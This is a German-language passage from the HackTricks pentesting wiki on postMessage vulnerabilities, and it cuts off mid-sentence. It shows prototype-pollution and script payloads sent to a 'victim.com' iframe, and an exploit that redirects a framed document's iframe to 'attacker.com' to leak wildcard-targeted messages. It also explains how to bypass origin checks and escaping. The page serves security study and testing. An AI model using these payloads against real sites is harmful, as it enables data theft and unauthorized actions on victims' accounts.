.. | ||
blocking-main-page-to-steal-postmessage.md | ||
bypassing-sop-with-iframes-1.md | ||
bypassing-sop-with-iframes-2.md | ||
README.md | ||
steal-postmessage-modifying-iframe-location.md |
PostMessage-Schwachstellen
PostMessage-Schwachstellen
Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud Github-Repositories senden.
PostMessage senden
PostMessage verwendet die folgende Funktion zum Senden einer Nachricht:
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
Hinweis: targetOrigin kann ein '*' oder eine URL wie https://company.com sein.
Im zweiten Szenario kann die Nachricht nur an diese Domain gesendet werden (auch wenn der Ursprung des Fensterobjekts unterschiedlich ist).
Wenn das Platzhalterzeichen verwendet wird, können Nachrichten an jede Domain gesendet werden und werden an den Ursprung des Fensterobjekts gesendet.
Angriff auf iframe & Platzhalterzeichen in targetOrigin
Wie in diesem Bericht erklärt, können Sie, wenn Sie eine Seite finden, die iframed werden kann (kein X-Frame-Header
-Schutz) und die sensible Nachrichten über postMessage mit einem Platzhalterzeichen (*) sendet, den Ursprung des iframes ändern und die sensible Nachricht an eine von Ihnen kontrollierte Domain leaken.
Beachten Sie, dass dieser Trick nicht funktioniert, wenn die Seite iframed werden kann, aber das targetOrigin auf eine URL und nicht auf ein Platzhalterzeichen gesetzt ist.
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
Ausnutzung von addEventListener
addEventListener
ist die Funktion, die von JS verwendet wird, um die Funktion zu deklarieren, die postMessages
erwartet.
Ein ähnlicher Code wie der folgende wird verwendet:
window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;
// ...
}, false);
Beachten Sie in diesem Fall, wie das erste, was der Code tut, ist, den Ursprung zu überprüfen. Dies ist besonders wichtig, wenn die Seite etwas Sensibles mit den empfangenen Informationen machen soll (wie z.B. ein Passwort ändern). Wenn der Ursprung nicht überprüft wird, können Angreifer Opfer dazu bringen, beliebige Daten an diese Endpunkte zu senden und die Passwörter der Opfer zu ändern (in diesem Beispiel).
Enumeration
Um Event-Listener auf der aktuellen Seite zu finden, können Sie Folgendes tun:
- Suchen Sie den JS-Code nach
window.addEventListener
und$(window).on
(JQuery-Version) - Führen Sie in der Konsole der Entwicklertools aus:
getEventListeners(window)
- Gehen Sie zu Elements --> Event Listeners in den Entwicklertools des Browsers
- Verwenden Sie eine Browser-Erweiterung wie https://github.com/benso-io/posta oder https://github.com/fransr/postMessage-tracker. Diese Browser-Erweiterungen werden alle Nachrichten abfangen und Ihnen anzeigen.
Umgehen der Ursprungsüberprüfung
-
Das Attribut
event.isTrusted
gilt als sicher, da es nur für EreignisseTrue
zurückgibt, die durch echte Benutzeraktionen generiert werden. Obwohl es herausfordernd ist, es richtig zu umgehen, ist seine Bedeutung bei Sicherheitsüberprüfungen beachtenswert. -
Die Verwendung von
indexOf()
zur Überprüfung des Ursprungs in PostMessage-Ereignissen kann anfällig für Umgehungen sein. Ein Beispiel, das diese Schwachstelle veranschaulicht, ist:
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
- Die Methode
search()
vonString.prototype.search()
ist für reguläre Ausdrücke vorgesehen, nicht für Zeichenketten. Wenn etwas anderes als ein regulärer Ausdruck übergeben wird, erfolgt eine implizite Konvertierung in einen regulären Ausdruck, was die Methode potenziell unsicher macht. Dies liegt daran, dass in einem regulären Ausdruck ein Punkt (.) als Platzhalter fungiert und somit eine Umgehung der Überprüfung mit speziell erstellten Domains ermöglicht. Zum Beispiel:
"https://www.safedomain.com".search("www.s.fedomain.com")
-
Die Funktion
match()
, ähnlich wiesearch()
, verarbeitet reguläre Ausdrücke. Wenn der reguläre Ausdruck nicht korrekt strukturiert ist, kann er anfällig für Umgehungen sein. -
Die Funktion
escapeHtml
ist dazu gedacht, Eingaben durch Escapen von Zeichen zu bereinigen. Sie erstellt jedoch kein neues escaped Objekt, sondern überschreibt die Eigenschaften des vorhandenen Objekts. Dieses Verhalten kann ausgenutzt werden. Insbesondere wenn ein Objekt so manipuliert werden kann, dass seine kontrollierte EigenschafthasOwnProperty
nicht erkennt, funktioniertescapeHtml
nicht wie erwartet. Dies wird in den folgenden Beispielen demonstriert: -
Erwartetes Versagen:
result = u({
message: "'\"<b>\\"
});
result.message // "'"<b>\"
- Umgehen des Escapens:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"
Im Zusammenhang mit dieser Schwachstelle ist das File
-Objekt aufgrund seiner schreibgeschützten name
-Eigenschaft besonders anfällig für Angriffe. Diese Eigenschaft wird bei der Verwendung in Vorlagen nicht durch die escapeHtml
-Funktion bereinigt, was zu potenziellen Sicherheitsrisiken führt.
- Die Eigenschaft
document.domain
in JavaScript kann von einem Skript auf eine verkürzte Domain gesetzt werden, um eine entspanntere Durchsetzung der Same-Origin-Richtlinie innerhalb der gleichen übergeordneten Domain zu ermöglichen.
Umgehen von e.origin == window.origin
Wenn eine Webseite in einem sandboxed iframe mit %%%